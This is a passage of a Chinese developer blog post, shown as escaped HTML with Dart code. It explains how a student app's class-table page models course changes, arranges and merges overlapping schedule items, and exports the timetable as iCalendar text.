class=\"s2\"\u003e\u0026#34;19:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;20:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"课程调整信息\"\u003e课程调整信息\u003c/h4\u003e\n\u003cp\u003e最复杂的类型,由于涉及到很多学校后端的东西,所以进行了很多注释,用来表示与其的对应关系。同时,我对后端数据没有进行过多处理,大多数进一步分析都是在该类里面处理的。\u003c/p\u003e\n\u003cp\u003e包括以下元素:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e调课类型:包括调课,停课,补课。这个将以一个枚举类型\u003ccode\u003eChangeType\u003c/code\u003e来展示。\u003c/li\u003e\n\u003cli\u003e课程号,班级号,课程名:受影响课程的名称等信息。\u003c/li\u003e\n\u003cli\u003e原来周次信息和新的周次信息:都是一个可空的布尔数组,从第一周开始,如果有影响则为\u003ccode\u003etrue\u003c/code\u003e,否则为\u003ccode\u003efalse\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e原先的老师和新的老师:为可空字符串,涉及到判断老师是否改变。\u003c/li\u003e\n\u003cli\u003e原先的课次信息和新的课次信息:一个只有两个元素的\u003ccode\u003eint\u003c/code\u003e数组,表示开始上课时间和停止下课时间。如果没有提供,默认给\u003ccode\u003e[-1,-1]\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e原先的周次信息和新的周次信息:为可空的\u003ccode\u003eint\u003c/code\u003e变量,表示是否更改了上课时间。\u003c/li\u003e\n\u003cli\u003e原先的位置信息和新的位置信息:为可空的字符串变量,表示是否更改了上课地点。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e附带有这些方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e获取原先调整的周次和这次调整的周次信息:提取原来周次信息和新的周次信息数组中\u003ccode\u003etrue\u003c/code\u003e的下标,方便后续处理。\u003c/li\u003e\n\u003cli\u003e判断老师是否改了:从后端获取的前后老师信息对比,看出老师信息改了没。这里涉及到一定的正则表达式和学校后端返回的老师信息,所以本程序里面是以我们学校的返回格式编写的。学校返回的老师信息使用半角逗号和空格\u003ccode\u003e, \u003c/code\u003e分隔,老师信息包含姓名和工号,中间用反斜杠\u003ccode\u003e/\u003c/code\u003e分隔。所以我这里,先去掉空格,然后用逗号和反斜杠来分隔,最后去掉工号,排序保证顺序一致。由此对两个数组进行处理,论证处理后的数据是否一致来判断是否更改老师。\u003c/li\u003e\n\u003cli\u003e显示给用户的原先老师和新老师信息:根据上面提供的信息,去掉数字和斜杠就好。\u003c/li\u003e\n\u003cli\u003e一个转换 ChangeType 为字符串的玩意。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e其中,调课类型枚组\u003ccode\u003eChangeType\u003c/code\u003e如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eenum\u003c/span\u003e \u003cspan class=\"n\"\u003eChangeType\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 停课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003epatch\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 补课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"总体信息\"\u003e总体信息\u003c/h4\u003e\n\u003cp\u003e在理想中,这将是传入课程表页面的东西。但在 PDA 中,由于添加删除用户自定义课程功能,导致必须引入程序的控制器,导致这个想法暂时没有实现:P\u003c/p\u003e\n\u003cp\u003e但是,思想还是保留了下来。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e学期长度:通过所有时间安排的上课周次数组中,最长的那个。\u003c/li\u003e\n\u003cli\u003e开学日期和当前学期代码,用来生成每周的索引和对应课程等。\u003c/li\u003e\n\u003cli\u003e两个课程信息数组。一个是教务系统发给的,一个是用户自行输入的。再次注意,里面有\u003c/li\u003e\n\u003cli\u003e两个时间安排数组,再次注意,里面有标识课程信息的类型和课程信息索引。\u003c/li\u003e\n\u003cli\u003e未排课数组,主要为了展示。\u003c/li\u003e\n\u003cli\u003e课程改变信息数组,用来进行调课处理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e还有两个构造方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e通过时间安排元素来获取对应的课程信息。\u003c/li\u003e\n\u003cli\u003e一个拷贝的构造函数,传入一个\u003ccode\u003eClassTableData\u003c/code\u003e生成个一模一样的副本。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"用于缓存的用户添加课程数据\"\u003e用于缓存的用户添加课程数据\u003c/h4\u003e\n\u003cp\u003e这里只是为了方便保存数据而写的,保存了用户自行添加的课程信息和时间安排。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eUserDefinedClassData\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003euserDefinedDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTimeArrangement\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"日程表页面概览\"\u003e日程表页面概览\u003c/h3\u003e\n\u003cp\u003e这里介绍 PDA 代码中,用于渲染日程表的代码。代码在\u003ccode\u003e/lib/page/classtable\u003c/code\u003e下面,组成如下:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003elib/page/classtable\n├── arrangement_detail\n│ ├── arrangement_detail.dart 引入显示信息的东西\n│ ├── arrangement_detail_state.dart 保存需要显示信息的状态\n│ ├── arrangement_list.dart 日程信息卡片清单\n│ ├── course_detail_card.dart 显示课程信息的卡片\n│ ├── custom_list_tile.dart 用于卡片的左图标右文字部件\n│ ├── exam_detail_card.dart 显示考试信息的卡片\n│ └── experiment_detail_card.dart 显示物理实验信息的卡片\n├── class_add 添加课程页面\n│   ├── class_add_window.dart 课程添加主页面\n│   └── wheel_choser.dart 滚轮选择器,用于选择周次课程时间等\n├── class_change 调课清单显示\n│   └── class_change_list.dart\n├── class_not_arranged 未安排时间课程清单\n│   └── not_arranged_class_list.dart\n├── class_page\n│ ├── classtable_page.dart 课程表页面骨架页面和状态\n│ └── empty_classtable_page.dart 空白课程表页面\n├── class_table_view 日程表页面\n│ ├── class_card.dart 日程表卡片\n│ ├── class_organized_data.dart 用于规划日程信息的类\n│ ├── class_table_view.dart 显示日程信息的页面\n│ └── classtable_date_row.dart 显示日期和星期\n├── classtable.dart 课程表页面使用入口\n├── classtable_constant.dart 一些用于显示/渲染的常量\n└── classtable_state.dart 课程表页面的状态\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e请在理解 \u003ccode\u003eInheitedWidget\u003c/code\u003e 和 \u003ccode\u003eChangeNotifier\u003c/code\u003e 之后再来看。\u003c/p\u003e\n\u003ch3 id=\"一天的区分\"\u003e一天的区分\u003c/h3\u003e\n\u003cp\u003e和前身课程表不同,本表格由于添加了午休和晚饭时间,所以需要说明一天的划分状况:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e早晨的 1-4 节课,每节课可以细分成 5 个小块来处理\u003c/li\u003e\n\u003cli\u003e午休按照 3 块来处理,表示 12:00 - 14:00\u003c/li\u003e\n\u003cli\u003e下午的 5-8 节课,每节课可以细分成 5 个小块来处理\u003c/li\u003e\n\u003cli\u003e晚饭时间按照 3 块来处理,表示 17:30 - 19:00\u003c/li\u003e\n\u003cli\u003e晚上的 9-11 节课,每节课可以细分成 5 个小块来处理\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e很显然,这每个小块所代表的时长是不一样的,这是一种设计上的妥协。在实际计算中,如果不是按照课程那种“比较规整”的角度来决定开始结束的,那就需要计算时间在格子上的相对位置了。\u003c/p\u003e\n\u003ch3 id=\"日程的计算与展示\"\u003e日程的计算与展示\u003c/h3\u003e\n\u003cp\u003e首先,我们要知道\u003ccode\u003eClassOrgainzedData\u003c/code\u003e是个啥。这是一个用来计算在一天之内,如何渲染卡片的类。它有六个属性:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e开始的位置和结束的位置,分别计为\u003ccode\u003estart\u003c/code\u003e和\u003ccode\u003estop\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e要显示的日程名称\u003ccode\u003ename\u003c/code\u003e和位置\u003ccode\u003eplace\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e卡片要显示的颜色\u003ccode\u003ecolor\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e这段日程之内,有多少同时进行的,计为\u003ccode\u003edata\u003c/code\u003e。这是个动态类型的List,设计中只允许\u003ccode\u003eTimeArrangement\u003c/code\u003e,\u003ccode\u003eExperimentData\u003c/code\u003e,\u003ccode\u003eSubject\u003c/code\u003e(考试信息)。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体如何计算开始和结束的位置,请结合“一天的区分”章节来看针对各个状况写的构造函数。\u003c/p\u003e\n\u003cp\u003e现在我们考虑一天之内,日程是如何展示的。以下的逻辑是在\u003ccode\u003e/lib/page/classtable/class_table_view\u003c/code\u003e里面,函数\u003ccode\u003eList\u0026lt;Widget\u0026gt; classSubRow(int index)\u003c/code\u003e过程的展现:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e如果传入的索引是 0,进行对最左边时间划分信息轴的渲染。否则进行下面的步骤。\u003c/li\u003e\n\u003cli\u003e从课程表信息中的时间信息\u003ccode\u003etimeArrangement\u003c/code\u003e,考试信息\u003ccode\u003esubject\u003c/code\u003e,物理实验信息\u003ccode\u003eexperiments\u003c/code\u003e中,获取对应周次日期的日程信息。\u003c/li\u003e\n\u003cli\u003e按照开始时间排序。\u003c/li\u003e\n\u003cli\u003e按照\u003ccode\u003e_checkIsOverLapping\u003c/code\u003e分析可能的重复情况,如果有重复,按照重复的所有日程中最早的开始和最晚的结束,定义新的日程信息,其中包括所有这段时间里面经历的信息。这里应该能保证,最终形成的日程不会有任何交集。\u003c/li\u003e\n\u003cli\u003e根据生成的日程安排信息,使用\u003ccode\u003ePositioned\u003c/code\u003e组件,直接定位对应的位置,构建课程卡片。其中顶部和高度还要考虑到手机状态或平板状态,在\u003ccode\u003eblockheight\u003c/code\u003e中定义;左侧宽度由对应日期在一周中的位置确定。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终,这些东西一起扔到一个\u003ccode\u003eStack\u003c/code\u003e里面,加上最上面显示日期周次信息的\u003ccode\u003eClassTableDateRow\u003c/code\u003e,完成对日程表的渲染。\u003ccode\u003eClassTableDateRow\u003c/code\u003e代码在\u003ccode\u003eclasstable_date_row.dart\u003c/code\u003e,有三处值得注意:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e需要计算那一周周一的日期。\u003c/li\u003e\n\u003cli\u003e今天的颜色需要不一样。\u003c/li\u003e\n\u003cli\u003e长宽比不同的时候,字体的颜色不同。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e以上代码大幅度参考\u003ccode\u003eflutter_calendar_view\u003c/code\u003e插件。\u003c/p\u003e\n\u003ch3 id=\"显示详细信息\"\u003e显示详细信息\u003c/h3\u003e\n\u003cp\u003e课程卡片点进去是会有弹窗,提示里面有啥详细信息的。这里涉及到\u003ccode\u003eClassOrgainzedData\u003c/code\u003e里面那个数组了,它会传给\u003ccode\u003eClassCard\u003c/code\u003e,然后当弹窗时候,传给\u003ccode\u003eArrangementDetail\u003c/code\u003e。注意,\u003ccode\u003eArrangementDetail\u003c/code\u003e会调用\u003ccode\u003eArrangementDetailState\u003c/code\u003e,所以,还是得先懂\u003ccode\u003eInheritedWidget\u003c/code\u003e是啥:P\u003c/p\u003e\n\u003ch3 id=\"用户选择周次\"\u003e用户选择周次\u003c/h3\u003e\n\u003cp\u003e称为\u003ccode\u003ecurrentWeek\u003c/code\u003e,首次加载的时候会默认从控制器里面获取计算好的周次信息,并进行判断。如果不在学期长度范围内,则按照情况渲染第一周/最后一周日程表。\u003c/p\u003e\n\u003cp\u003e当然,每次用户更改周次的时候,我们都需要刷新状态,所以我使用了 setter 来简化编程。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Current showing week.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_chosenWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Change chosen week.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eset\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e_chosenWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003enotifyListeners\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003echosenWeek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_chosenWeek\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便在此说明,为了精简页面,日程表切换是用\u003ccode\u003eTabBarView\u003c/code\u003e实现的。切换的\u003ccode\u003eTabBar\u003c/code\u003e只会显示周次信息,不会再显示课表概览了。\u003c/p\u003e\n\u003ch3 id=\"输出课表到-icalendar\"\u003e输出课表到 iCalendar\u003c/h3\u003e\n\u003cp\u003e先从课程表页面状态读取生成的 iCalendar 字符串,然后进行分享。\u003c/p\u003e\n\u003cp\u003e生成该文件内容的代码在称为\u003ccode\u003eiCalendar\u003c/code\u003e的 getter 里面,以下是一些不正经介绍。\u003c/p\u003e\n\u003cp\u003eInitally I want to output classtable schedule to the system calendar, but it isn’t good. So far, it outputs the class schedule one by one, from the first class of the first week to the last class of the last week. I have to let users agree serveral times to import all class schedules, so ummm…\u003c/p\u003e\n\u003cp\u003eSo I use iCalendar, a standard to transfer schedules. It can transfer the name of your schedule, the time range (start time and end time), and lots of additional infos, including email, alert, personnel etc.\u003c/p\u003e\n\u003cp\u003eFor the class schedules, aka classtable, we only care about the place, time, and the name. According to the \u003ca class=\"link\" href=\"https://blog.woooo.tech/posts/about_linux_desktop/\" target=\"_blank\" rel=\"noopener\"\n \u003e\u003cstrong\u003eCYBER GOD OF OUR SCHOOL\u003c/strong\u003e\u003c/a\u003e, we do not need a \u0026ldquo;iCalender parser library\u0026rdquo;, just treat it as a plain text file with mime-type \u003ccode\u003etext/calendar\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eI will introduce a very simple iCalendar file here, and of course, it isn\u0026rsquo;t cover all about iCalendar.\u003c/p\u003e\n\u003cp\u003eThe whole iCalendar file is covered by \u003ccode\u003eBEGIN:VCALENDAR\u003c/code\u003e and \u003ccode\u003eEND:VCALENDAR\u003c/code\u003e. While every schedule is covered by \u003ccode\u003eBEGIN:VEVENT\u003c/code\u003e and \u003ccode\u003eEND:VEVENT\u003c/code\u003e. For each schedule, we can input the following attributes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSUMMARY\u003c/code\u003e: A quickview of the schedule. In our case, the class’s name and place.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDESCRIPTION\u003c/code\u003e: Detail description of the schedule. We can put teacher info in here.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDTSTART\u003c/code\u003e and \u003ccode\u003eDTEND\u003c/code\u003e: The start time and the end time of the schedule. Notice we need to follow the time pattern \u003ccode\u003eyyyyMMddTHHmmss\u003c/code\u003e, a description is at \u003ca class=\"link\" href=\"https://icalendar.org/iCalendar-RFC-5545/3-3-5-date-time.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e and \u003ca class=\"link\" href=\"https://pub.dev/documentation/intl/latest/intl/DateFormat-class.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFinally, a refrence of my code about output the iCalendar string.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eiCalenderStr\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VCALENDAR\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esummary\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SUMMARY:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e@\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003edescription\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DESCRIPTION:课程名称:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e; 上课地点:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eweeks:\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003edays:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan 